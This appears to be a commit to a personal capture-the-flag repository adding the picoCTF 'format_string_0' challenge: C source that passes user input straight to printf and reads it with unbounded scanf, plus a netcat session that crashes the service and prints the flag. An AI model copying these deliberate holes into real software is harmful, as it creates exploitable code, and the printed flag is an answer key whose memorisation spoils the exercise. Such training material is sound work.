pwn/format_string_0
This commit is contained in:
parent
c56300256d
commit
2fdd355b01
Binary file not shown.
|
@ -0,0 +1,101 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
#define BUFSIZE 32
|
||||||
|
#define FLAGSIZE 64
|
||||||
|
|
||||||
|
char flag[FLAGSIZE];
|
||||||
|
|
||||||
|
void sigsegv_handler(int sig) {
|
||||||
|
printf("\n%s\n", flag);
|
||||||
|
fflush(stdout);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
int on_menu(char *burger, char *menu[], int count) {
|
||||||
|
for (int i = 0; i < count; i++) {
|
||||||
|
if (strcmp(burger, menu[i]) == 0)
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void serve_patrick();
|
||||||
|
|
||||||
|
void serve_bob();
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char **argv){
|
||||||
|
FILE *f = fopen("flag.txt", "r");
|
||||||
|
if (f == NULL) {
|
||||||
|
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||||
|
"own debugging flag.\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
fgets(flag, FLAGSIZE, f);
|
||||||
|
signal(SIGSEGV, sigsegv_handler);
|
||||||
|
|
||||||
|
gid_t gid = getegid();
|
||||||
|
setresgid(gid, gid, gid);
|
||||||
|
|
||||||
|
serve_patrick();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void serve_patrick() {
|
||||||
|
printf("%s %s\n%s\n%s %s\n%s",
|
||||||
|
"Welcome to our newly-opened burger place Pico 'n Patty!",
|
||||||
|
"Can you help the picky customers find their favorite burger?",
|
||||||
|
"Here comes the first customer Patrick who wants a giant bite.",
|
||||||
|
"Please choose from the following burgers:",
|
||||||
|
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
|
||||||
|
"Enter your recommendation: ");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
char choice1[BUFSIZE];
|
||||||
|
scanf("%s", choice1);
|
||||||
|
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
|
||||||
|
if (!on_menu(choice1, menu1, 3)) {
|
||||||
|
printf("%s", "There is no such burger yet!\n");
|
||||||
|
fflush(stdout);
|
||||||
|
} else {
|
||||||
|
int count = printf(choice1);
|
||||||
|
if (count > 2 * BUFSIZE) {
|
||||||
|
serve_bob();
|
||||||
|
} else {
|
||||||
|
printf("%s\n%s\n",
|
||||||
|
"Patrick is still hungry!",
|
||||||
|
"Try to serve him something of larger size!");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void serve_bob() {
|
||||||
|
printf("\n%s %s\n%s %s\n%s %s\n%s",
|
||||||
|
"Good job! Patrick is happy!",
|
||||||
|
"Now can you serve the second customer?",
|
||||||
|
"Sponge Bob wants something outrageous that would break the shop",
|
||||||
|
"(better be served quick before the shop owner kicks you out!)",
|
||||||
|
"Please choose from the following burgers:",
|
||||||
|
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
|
||||||
|
"Enter your recommendation: ");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
char choice2[BUFSIZE];
|
||||||
|
scanf("%s", choice2);
|
||||||
|
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
|
||||||
|
if (!on_menu(choice2, menu2, 3)) {
|
||||||
|
printf("%s", "There is no such burger yet!\n");
|
||||||
|
fflush(stdout);
|
||||||
|
} else {
|
||||||
|
printf(choice2);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
$ nc mimas.picoctf.net 60131
|
||||||
|
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
|
||||||
|
Here comes the first customer Patrick who wants a giant bite.
|
||||||
|
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
|
||||||
|
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||||
|
There is no such burger yet!
|
||||||
|
|
||||||
|
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}
|
Loading…
Reference in New Issue